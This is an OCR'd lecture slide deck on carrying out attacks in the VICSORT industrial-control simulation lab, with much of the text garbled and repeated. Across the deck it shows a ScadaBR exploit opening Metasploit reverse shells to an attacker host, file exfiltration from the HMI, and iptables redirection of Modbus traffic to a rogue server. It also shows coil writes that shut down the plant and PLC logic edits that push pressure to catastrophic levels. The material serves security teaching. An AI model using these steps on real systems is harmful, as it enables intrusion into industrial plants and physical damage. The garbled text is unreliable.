Learning objectives

By the end of this topic, you will be able to:

Carry out attack scenarios on the VICSORT OT
Simulation.
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Persistent connection to the HMI

LinScada_RCE.py > :.;:::;6 *: 9090

£ 1 I
msfconsole ScadaBR CVE U -

LISTEN:
192.168.90.197: 4444

Open reverse shell: 4444

Upload freesweep /usr/games/freesweep &

Attacking the ICS

msfconsole
LISTEN: freesweep
192.168.90.197: 8443 Open reverse shell: 8443

1
|
J

S hostname

hmi-attacker

Attacker HMI
192.168.90.197 /24 192.168.90.5 /24
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Attacking the ICS Attacking the ICS

Exfiltrating data from the HMI - Low Impact attack Exfiltrating data from the HMI - Low Impact attack
Manipulating the values displayed on the HMI - Medium Manipulating the values displayed on the HMI - Medium
Impact attack Impact attack
Remotely shutting down the plant - Medium Impact attack Remotely shutting down the plant - Medium Impact attack
Catastrophic Damage to the Environment - High Impact Catastrophic Damage to the Environment - High Impact
attack attack

Attacking the ICS Attacking the ICS
Exfiltrating data from the HMI - Low Impact attack Exfiltrating data from the HMI - Low Impact attack
Manipulating the values displayed on the HMI - Medium Manipulating the values displayed on the HMI - Medium
Impact attack Impact attack
Remotely shutting down the plant - Medium Impact attack Remotely shutting down the plant - Medium Impact attack
Catastrophic Damage to the Environment - High Impact Catastrophic Damage to the Environment - High Impact

attack attack
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Exfiltrating Data from HMI

SE onat background
an Oirdheiscirt Background session 1? [y/N] y
TU ié".lyg“ _ msf6 exploit (multi/handler) > sessions —-upgrade 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on

session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.90.197:4433

. : [*] Sending stage (1017704 bytes) to 192.168.90.5
EXfIltratlon Of data [*] Meterpreter session 2 opened (192.168.90.197:4433 —->
192.168.90.5:47746) at 2024-04-05 14:17:09 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit (multi/handler) > sessions ——interact 2
[*] Starting interaction with 2...

Attacking the ICS
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Exfiltrating Data from HMI Exfiltrating Data from HMI
meterpreter > download vicsort@vicsort:~$ lxc exec attacker—-container bash
/etc/systemd/system/freesweep.service /root/my_downloads — (root attacker-container)-[~]
[*] Downloading: /etc/systemd/system/freesweep.service —> L# cat /root/my_downloads/freesweep.service
/root/my_downloads/freesweep.service
[*] Downloaded 157.00 B of 157.00 B (100.0%) : [Unit]
/etc/systemd/system/freesweep.service —> Description=Freesweep Application Service
/root/my_downloads/freesweep.service
[*] Completed : /etc/systemd/system/freesweep.service —> [Service]
/root/my_downloads/freesweep.service ExecStart=/usr/games/freesweep

Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target
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Redirect modbus traffic to HMI

Oliscoil . . . -
SE Tecneolalocha vicsort@vicsort:~$ lxe list —-columns=4 attacker-container

an Oirdheiscirt

T U South East +--— +
Technological
University | IPV4 |

Attacking the ICS

vicsort@vicsort:~$ rdp_attacker
[1] 234716

Manipulation of data
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Redirect modbus traffic to HMI Redirect modbus traffic to HMI

€ > € ANotsecure 192.168.90.5:9090/5cadaBR/data_source_editshtmzdsid=1 ¥ a =

C @ O A& 192168.90.5

KaliLinux g KaliTools * KaliDocs 3 Kali Forums e« Kali NetHunter = Exploit-DB % Google Hacking DB ! OffSec ScaDaBR J Urgent

ScaDaBR 1 urgent ® e lasERra80/0e uSe,s,:::azR-ﬁlg‘:;

powered by Serotonin’s Mango M2M ScadaBR - 1.0 CE ) Modbus IP properties & 2 [E| [Modbus node scan |[Modbus read data
GRRIE B LR LET DV L=rrEor s 4 R QD P —

\ ) oot v] ¥ Eeport o ) o5 339570 Notes o Registe range
Graphic views & enEastviewl v | < o

Update period misecond(ns) v R CE—
Quintze O Number of registers
Data Sources Timeout(ne)
Remes o]
Contiguous batches only [ ] Point locator test
I create siave manitorpoins (] staveia
o — . P Registerrange [ Corsiatis ]
——— — Mes read reister count ot crn e [EEEE] v
e 4 " i M wrie registercount Ofsetbased) [0 ]
Feedl 1 Purge o
Pressure; 2682.6 kPa Transport type — :
100.0% tost umber of registers.
Level: 44.0% 30% Host (D212 |
Port Chatacer encading | ASCII
L soooamem 631 =
— P Encapsulated () [Read] A port]
Feed2 | o . | roduct
\ | 4 1 Event atam tevels

Data source exception| Urgent | 1 192.168.90.197

ot rena cxepmon. [T .
1 N B attacker-container address
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Redirect modbus traffic to HMI

— (rootattacker—container) - [~]
L4 socat -d2 - TCP-LISTEN:502, fork

2024/04/06 22:29:53 socat[1211] N reading from and writing to stdio
2024/04/06 22:29:53 socat[1211] N listening on AF=10
[0000:0000:0000:0000:0000:0000:0000:0000] :502

2024/04/06 22:29:53 socat[1211] N accepting connection from AF=10
[0000:0000:0000:0000:0000:ffff:c0a8:5a05]:46834 on AF=10
[0000:0000:0000:0000:0000:ffff:cl0a8:5ac5]:502

2024/04/06 22:29:53 socat[1211] N forked off child process 1212
2024/04/06 22:29:53 socat[1211] N listening on AF=10
[0000:0000:0000:0000:0000:0000:0000:0000] :502
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Create Modbus Server on attacker—-container

— (root attacker-container)-[~]
L-# pyhon3 -m pip install pipenv

— (root attacker-container)-[~]

—# cd /root/scripts/custom_modbus_server
— (root attacker-container)-[~/scripts/
custom_modbus_server]

—# 1s

2.5.2_pymodbus_script.py pymodus_2.5.2_venv src

setu.ie
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Redirect modbus traffic to HMI

o, Time Source Destination

Protocol_ Lengthinfo.

8 (40
Query: Trans:

H c: Regl
sstsz Lewze Eval mwm

08562 - 3ddes [AcX] Sec Ack=2

152.168.90.57 Modbus. 78 Query: Trans RegL.
$7451 Sa7.a47assene 10e.8.50.57 i52.168.90.5 Tcp 56 562" 34305 [ACK] Secot ACKEST NinzGaIs? Lenso TovaToazoTs0ns
27056 367617492622 192.160.99.57 152.168.90.5 Tce 66 502 ~ 34305 [AGK] Seq=1 Ack=30 WAN-65152 Len=b TSval=12079761.
27963 368072565362 192.168.90.5 10.168.90.57 Tee 6634988 - 502 [AGK] Seq=38 Ack=2 Wn=64258 Len=0 TSval=16347003..

[Strean index: 1568

relative sequence nunber)
Sequence nuaber (raw): 2067525311
(relative seasence oaber)]
relative ack mumber)
Ackranledanent minker (o issonass
o Length 32 bytes (8)
. ;p.,s bieis (s, m:

=2 Lemd val-i6a4s02r
1, Func:

27953 367, 067762654 1216850,
27954 367.067811490 192 1689057

7 Reg
1521265 5.5 G0 312 54008 [ADK] Seqoh ACKLAT insb5TS3 Leno TovaleageToess

[checksum Status: Unverified) 27086 367.617492622 192.168.90.57 152.168.90.5 e 56 562 ~ 34908 [ACK] Seq=1 Ack=30 Win=03152 Len=0 TSval=12079701..

urgent pointer:

+ Options: (12 bytes), No-Operation (NOP), o-Operation (NOR), Timestamps

+ [5EQ/AGK analysis]

- (1isestanps]
T1is

27963 300.072505362 192.100.90.5 192.168.90.57 Tce 6634008 - 502 [ACK] 56q=38 Ack=2 Win=04255 Len-0 Tval-16347603..
Source port: 3asn
Destination Port: sez
stremn index: 35061
[ Len: 2]
ber: 13

[Tin ¥
TCP payload (12 bytes)

(relative sequence nunber)
3

{relative scquence mnber)]
re (relative ack nusber)
sckmoledgent mumoer (1) e13208383

1680 ... = Neader Length: 32 bytes (a)
+ Flags: Giots (7, 0K

Window size value: 502

[Calculated window size: 64256]

[Window size scaling factor: 128]

Checksun: @x35c2 [unverified]

[checksun Status: Unverfied]

Urgent pointer: &
» Optiens: tes), Ho-Operation (NOP), lo-Operation (NOP), Tinestasps
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Create Modbus Server on attacker-container

— (root attacker-container)-[~/scripts/

custom_modbus_server]

lL-# pipenv run 2.5.2_pymodbus_script.py

The custom register values are: [64826, 5284, 13328, 43436, 25030, 3108, 15215, 4871, 46224,

22975, 0, 0, 0]

Starting Custom Modbus Server...

Received Modbus request for address 1 and count 13

The custom register values are: [64788, 5663, 13450, 43166, 28974, 3907, 21738, 5551, 46436

23070, 0, 0, 0]

Sending Response: b'\x00\x87\x00\x00\x00\x1d\x01\x04\x1a\xfd\x14\x16\x1f4\x8a\xa8\x9%eq.\x0fCT\
xea\x15\xaf\xb5dz\x1e\x00\x00\x00\x00\x00\x00"

###[ ModbusTCP ]###

transId = 135
protoId =0
len =29
unitId =1
###[ Modbus ]###
funcCode = 0x4

byteCount = 26

registerVal= [64788, 5663, 13450, 43166, 28974, 3907, 21738, 5551, 46436, 23070, 0, 0, 0]

setu.ie
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ScadaBR with the traffic switched Redirecting PLC traffic to attacker-container

root@hmi-container:/# apt install -y iptables
root@hmi-container:/# iptables -t nat —-A OUTPUT -d
192.168.95.2 —-j DNAT —--to-destination 192.168.90.197

root@hmi-container:/# apt install -y iptables-persistent
I

1 o e Configuring iptables-persistent:
— e, e | = Save current IPv4 rules? <Yes>
Feedl ' 4 Furge
- i s Save current IPv6 rules? <Yes>
Level: 35.3%
e 49.0kMolm 43.2 kMol —
ee e L —s Product . . o
- \ " root@hmi-container:/etc# iptables-save >

/etc/iptables/rules.v4
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Removing IP tables rule

root@hmi-container:/# iptables -t nat -D OUTPUT -d 192.168.95.2 - SE Tienoliochta

an Oirdheiscirt

j DNAT --to-destination 192.168.90.197 T U South East

Technological
University

root@hmi-container:/etc# iptables-save > /etc/iptables/rules.v4

root@hmi-container:/etc# iptables -t nat -L

Chain PREROUTING (policy ACCEPT) =

target prot opt source destination AttaCklng the ICS
Chain INPUT (policy ACCEPT) ) )

target prot opt source destination ThlS needS to be Cal’rled

out before proceeding to Remotely Shutting down the plant

Chain OUTPUT (policy ACCEPT) Othel’ attaCkS

target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
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Remotely shutting down the plant

— (root attacker-container)-[~]
l-# msfconsole ——quiet —-execute-command "use
exploit/multi/handler; set payload linux/x86/shell/reverse_tcp;
set lport 8443; run"
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
payload => linux/x86/shell/reverse_tcp

set lhost 192.168.90.197;

lhost => 192.168.90.197
lport => 8443

[*] Started reverse TCP handler on 192.168.90.197:8443

[*] Sending stage (36 bytes)

[*] Command shell session 1 opened
192.168.90.5:49400) at 2024-04-06 23:32:10 +0100

hostname
hmi-container

to 192.168.90.5

(192.168.90.197:8443 —>

Route attacker—-container traffic to PLC via HMI

msf6 exploit (multi/handler) > sessions —--list

Active sessions

Id Name Type

1 shell x86/1linux

2 meterpreter x86/linux

msf6 exploit (multi/handler)
255.255.255.255 2
[*] Route added

Information Connection

root @ 192.168.90.5

> route add 192.

192.
192.

192

192.

168.
168.
.168.
168.

90
90
90
90

168.95.2

setu.ie

.197:8443 —>

.5:37364

.197:4433 —>

.5:49274

setu.ie
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Remotely shutting down the plant

background
Background session 1? [y/N] y

msf6 exploit (multi/handler) > sessions —--upgrade 1

[*] Executing 'post/multi/manage/shell_to_meterpreter’

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler

[*] Started reverse TCP handler on 192.168.90.197:4433

[*] Sending stage (1017704 bytes) to 192.168.90.5

[*] Meterpreter session 2 opened (192.168.90.197:4433 -> 192.168.90.5:47746)

+0100

[*] Command stager progress: 100.00% (773/773 bytes)

Test the route

msf6 exploit (multi/handler) > fping 192.168.95.2

[*] exec: fping 192.168.95.2

192.168.95.2 is alive

— (root attacker-container)-[~

L4 fping 192.168.95.2

192.168.95.2 is alive

]

on session(s):

[1]

at 2024-04-05 14:17:09

setu.ie
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Query the first coils to obtain their values

msf6 exploit (multi/handler) > use auxiliary/scanner/scada/modbusclient

msf6 auxiliary (scanner/scada/modbusclient)
rhost => 192.168.95.2

msf6 auxiliary (scanner/scada/modbusclient)
action => read_coils

msf6 auxiliary (scanner/scada/modbusclient)
data_address => 0

msf6 auxiliary (scanner/scada/modbusclient)
number => 100

msf6 auxiliary (scanner/scada/modbusclient)
[*] Running module against 192.168.95.2

[*] 192.168.95.2:502 - Sending READ COILS...

[+] 192.168.95.2:502 - 100 coil values from address 0 :
[+] 192.168.95.2:502 - [1, O, O, O, O, O, O, O, O, O, O,
6o, 0, o, o, 0, 0, 0, 0, 0, 0, 0, O, O, O, O, O, O, O, O,
o, o, o, o, 0, 0, 0, 0, 0, 0, 0, O, O, 0, O, O, O, O, O,
o, o, o, 0, 0, 0, 0, 0, 0, 0O, O, O]

[*] Auxiliary module execution completed

modbus_coils.py

— (root attacker-container)-[~/scripts]
L—# ./modbus_coils.py read_coils 10 10

Coils status:

Coil 10: False
Coil 11: False
Coil 12: False
Coil 13: False
Coil 14: False
Coil 15: False
Coil 16: False
Coil 17: False
Coil 18: False
Coil 19: False

>

set rhost 192.168.95.2
set action read_coils
set data_address 0

set number 100

run

o, o, 0, o, 0, 0, 0, O, O, O, O, O,
o, o, 0o, o, 0, 0, 0, 0, O, O, O, O,
o, o, 0, 0, 0, 0, 0, 0, O, O, O, O,

setu.ie

The second 10 coils (10 - 19)

setu.ie
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modbus_coils.py

— (root attacker-container)-[~
L—# python3 -m pip install pymodbus==3.5.4

— (root attacker-container)-[~

—# cd /root/scripts

— (root attacker-container)-[~/scripts]
—# ./modbus_coils.py read_coils 0 10

Coils status:

Coil 0: False
Coil 1: False
Coil 2: False
Coil 3: False
Coil 4: False
Coil 5: False
Coil 6: False
Coil 7: False
Coil 8: False
Coil 9: False

Tested coil impacts

The first 10 coils (0 - 9)

setu.ie

0 to 9: No noticeable change in environment when values changed to True

10 to 29: No noticeable change in environment when values changed to True
30 to 39: No noticeable change in environment when values changed to True

40 to 49: Pressure values started decreasing steadily. Change values back
and pressure starts to increase again.

50 to 59: No noticeable change in environment when values changed to True
60 to 60: No noticeable change in environment when values changed to True
70 to 79: No noticeable change in environment when values changed to True
80 to 89: No noticeable change in environment when values changed to True
90 to 99: No noticeable change in environment when values changed to True

setu.ie
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Turn the plant off Turn the plant back on

— (root attacker-container)-[~/scripts] — (root attacker-container)-[~/scripts]
L—# ./modbus_coils.py write_coils true 40 1 —# ./modbus_coils.py write_coils false 40 1
Successfully wrote a value of: True, to coils: WriteNCoilResponse (0, 1)

Successfully wrote a value of: False, to coils: WriteNCoilResponse (40,
Coils status: 1)
Coil 40: True

Coils status:

(root attacker-container)-[~/scripts]
T P Coil 40: False

L—# ./modbus_coils.py read_coils 35 10

Coils status: 29 kMol
Coil 35: False
Coil 36: False
Coil 37: False 0 kMol/h 1213 kMol/h
Coil 38: False
Coil 39: False
Coil 40: True
Coil 41: False
Coil 42: False QikMolh 144 kMol/h
Coil 43: False
Coil 44: False
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Manipulating HMI values during plant shutdown

Have the attacker—container, modbus server, ready SE ..

an Oirdheiscirt

to listen to HMI Modbus requests TU =

Redirected HMI modbus requests to the attacker—
container modbus server

Set Coil 0 on PLC to True (40) Attacking the ICS

Catastrophic Damage to the Environment
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Login to the engineering-container Edit the Pressure Setpoint

Edit the ladder logic for the PLC Edit the ladder logic for the PLC

[ OpenPLC Editor - ~chemical~
File Edit Display Help

LwBEE8 «s s @y AINemEaN=ne

root@vicsort:/home/vicsort# rdp_workstation

. . . @ initialize_sp % -
worker@workstation—-container:~$ cd OpenPLC_Editor Broject ) oee e [ =14
worker@workstation-container:~/OpenPLC_Editor$ ./openplc_editor.sh Class Wee  mtalvae | opton Documentation

Local UINT 13107 Constant
- Local UINT 30801 Constant
g
B s
Eft
"
B Res0

% configo.Resv.instancet.initia  ~
&) flow_sp_c (UINT)

] a_sp_c (UINT)

& press_sp_c (UINT)

#] over_sp_c (UINT)

LTy

(uINT)
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Edit the Pressure Setpoint Edit the Pressure Setpoint

Load the new program to the PLC
OpenPLC Server

As the pressure rises beyond safe levels

Current PLC Status: Running

ki r 1
4 Run Stop 3
kN ’ 0 kMol/h
View PLC logs
Level 45% !
Change PLC Program
B P
Pressure 3039 kPa
l | [ Choose file | My_New_Program.st | || Upload Program | | 2

640 kMol/h 0 kMol/h

Change Modbus Master Configuration
Changing this only have effect if OpenPLC is using the Modbus Master Driver

Choose file | No fle chosen Upload Configuration
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Edit the Pressure Setpoint Learning objectives

Eventually causing catastrophic results Carry out attack scenarios on the VICSORT OT
Simulation.

O kMol/ty

P e &

[: 7 D—
P
~Nessure 314W0kPa

0 kMol/h H: 231 kMalih
_ 8

setu.ie | 41 setu.ie | 42

EUR ING Dr Diarmuid O Briain
Innealtéir Cairte agus Léachtéir
Sinsearach

E diarmuid.obriain@tus.ie | W tus.ie
Campas Maoilis, Pairc Maoilis,
Luimneach, V94 EC5T, Eire




